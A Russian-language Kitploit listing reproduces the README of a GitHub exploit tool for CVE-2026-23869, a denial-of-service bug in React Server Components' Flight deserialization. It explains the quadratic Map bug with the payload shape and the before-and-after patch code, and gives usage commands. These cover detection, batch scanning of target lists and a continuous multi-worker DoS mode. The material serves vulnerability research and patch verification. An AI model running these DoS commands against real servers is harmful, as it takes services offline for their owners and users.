Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-23869-Exploit — Автоматизированный инструмент эксплуатации для CVE-2026-23869 — удалённого отказа в обслуживании (DoS) в React Server Components. Включает PoC, шаблон Nuclei и скрипты сканирования для обнаружения и эксплуатации. | Kitploit
Инструменты/GitHubGitHub/cybertechajju/cve-2026-23869-exploit
РазведкаСканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на Проникновение
GitHubcybertechajju/cve-2026-23869-exploit

CVE-2026-23869-Exploit

Автоматизированный инструмент эксплуатации для CVE-2026-23869 — удалённого отказа в обслуживании (DoS) в React Server Components. Включает PoC, шаблон Nuclei и скрипты сканирования для обнаружения и эксплуатации.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
91125 месяцев назадЕщё не проверено

CVE Severity React Next.js Type

⚡ CVE-2026-23869 — React2DoS

Неаутентифицированный удалённый отказ в обслуживании через React Flight Protocol
Квадратичное истощение CPU при десериализации Map в Server Components

Обзор • Как это работает • Инструменты • Установка • Использование • Nuclei • Исправление • Отказ от ответственности


Обзор уязвимости

ПолеДетали
CVE IDCVE-2026-23869
ПсевдонимReact2DoS
Оценка CVSS7.5 (Высокая)
Вектор CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWECWE-400 (Неконтролируемое потребление ресурсов)
ТипНеаутентифицированный удалённый отказ в обслуживании
ОбнаруженоYohann Sillam (Imperva Threat Research)
Затронутоreact-server-dom-webpack / parcel / turbopack ≤ 19.2.4
ИсправленоReact 19.2.5+ / Next.js 15.5.15+ / 16.2.3+

Критическая уязвимость отказа в обслуживании существует в десериализации Flight protocol React Server Components. Неаутентифицированный злоумышленник может отправить один специально сформированный HTTP-запрос к любой конечной точке Server Action App Router в Next.js, вызывая квадратичное истощение CPU O(n²), которое блокирует сервер на несколько минут.

Ссылки

  • Официальное уведомление Vercel
  • Технический анализ Imperva — «React2DoS»
  • Патч React PR #36236
  • Запись NVD

Как это работает

Ошибка: отсутствующий флаг consumed при десериализации Map

Протокол React Flight использует специальные маркеры для сериализации типов данных. $Q представляет объект Map. Когда сервер получает полезную нагрузку, содержащую самоссылающиеся маркеры $Q0:

Payload: [ [1,1], [1,1], ...(n допустимых записей)..., "$Q0", "$Q0", ...(n ссылок)... ]

Каждый $Q0 запускает конструктор new Map(), который перебирает все n допустимых записей. Конструктор Map выбрасывает ошибку (поскольку записи некорректны), но критическая ошибка заключается в том, что: флаг consumed никогда не устанавливается при сбое.

Это означает, что следующий $Q0 заново вычисляет ту же самую Map с нуля → создавая сложность O(n²):

n допустимых записей × n ссылок $Q0 = n² вызовов конструктора Map

Пример: 65 000 × 65 000 = 4 225 000 000 операций
Результат: Один запрос блокирует CPU на 5-10+ минут

Схема атаки

┌──────────┐     POST / (multipart/form-data)      ┌──────────────────┐
│ Атакующий │ ──────────────────────────────────────▶ │  Сервер Next.js  │
│          │     Заголовок: Next-Action: <action_id>   │                  │
│          │     Тело: [[1,1]...,"$Q0","$Q0"...]    │  ██████████ CPU  │
│          │                                        │  100% ЗАБЛОКИРОВАН │
└──────────┘                                        │  на ~5-10 мин     │
                                                    └──────────────────┘

Уязвимый код (до исправления)

// ReactFlightReplyServer.js — ДО патча
case "Q": {
  const data = getOutlinedModel(response, id, obj);
  return new Map(data);  // ← Завершается ошибкой, но не устанавливает consumed = true
                         //   Следующий $Q0 пересчитывает с нуля
}

Исправленный код (после исправления)

// ReactFlightReplyServer.js — ПОСЛЕ патча (React 19.2.5+)
case "Q": {
  const data = getOutlinedModel(response, id, obj);
  obj.consumed = true;   // ← Исправление: установить флаг ДО создания
  return new Map(data);  //   Предотвращает повторный пересчёт
}

Включённые инструменты

ФайлОписание
poc.pyПолностью автоматизированный инструмент эксплуатации с 4-фазным конвейером (Разведка → Извлечение → Обнаружение → Эксплуатация)
CVE-2026-23869.yamlШаблон обнаружения Nuclei с оркестрацией на основе flow
scan.shСкрипт-обёртка: фильтрация живых целей httpx + сканирование nuclei
extract-action-ids.shАвтономный извлекатель ID Server Action

Установка

# Клонировать репозиторий
git clone https://github.com/cybertechajju/CVE-2026-23869-Exploit.git
cd CVE-2026-23869-Exploit

# Установить зависимость Python
pip install requests

# Сделать скрипты исполняемыми
chmod +x poc.py scan.sh extract-action-ids.sh

Необязательные зависимости

# Для сканирования шаблоном Nuclei
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# Для фильтрации живых целей
go install github.com/projectdiscovery/httpx/cmd/httpx@latest

Использование

🔥 Полное автоматическое сканирование (одна цель)

Просто укажите URL — инструмент сделает всё автоматически:

python3 poc.py -u https://target.com

Что происходит:

  1. Фаза 1 — Разведка: Определяет Next.js (заголовки, HTML-маркеры, build ID)
  2. Фаза 2 — Извлечение: Находит ID Server Action из JS-бандлов
  3. Фаза 3 — Обнаружение: Безопасная проверка уязвимости на основе тайминга (проба из 500 записей)
  4. Фаза 4 — Отчёт: Показывает вердикт об уязвимости с анализом тайминга

📋 Пакетное сканирование (несколько целей)

# Сканировать список доменов/IP
python3 poc.py -L targets.txt

# С выводом JSON-отчёта
python3 poc.py -L targets.txt -o results.json

🎯 Ручной режим (известный Action ID)

# Только безопасное обнаружение
python3 poc.py -u https://target.com -a <ACTION_ID> --detect

# Одиночная эксплуатация
python3 poc.py -u https://target.com -a <ACTION_ID> --single

# Непрерывный DoS (10 воркеров)
python3 poc.py -u https://target.com -a <ACTION_ID> --exploit -w 10

🔍 Только извлечение Action ID

python3 poc.py -u https://target.com --extract

⚙️ Все параметры

Options:
  -u, --url URL          Целевой URL (одна цель)
  -L, --list FILE        Файл с целевыми URL/IP (по одному в строке)
  -a, --action-id ID     ID Server Action (пропустить автоматическое извлечение)
  --detect               Только обнаружение — безопасно, неразрушающе (по умолчанию)
  --single               Одиночная эксплуатация после обнаружения
  --exploit              Непрерывный DoS после обнаружения
  --extract              Только извлечение action ID
  -l, --length N         Записей в полезной нагрузке (по умолчанию: 130000)
  -w, --workers N        Параллельных воркеров (по умолчанию: 5)
  -d, --delay SEC        Задержка между запросами (по умолчанию: 1.0)
  -o, --output FILE      Сохранить JSON-отчёт
  -t, --threads N        Параллельных целей для сканирования списка (по умолчанию: 3)

Обратная совместимость

Оригинальный синтаксис PoC по-прежнему работает:

python3 poc.py <ACTION_ID> <URL>

Шаблон Nuclei

Быстрое сканирование

# Одна цель
nuclei -t ./CVE-2026-23869.yaml -u https://target.com -itags dos
Скачать инструмент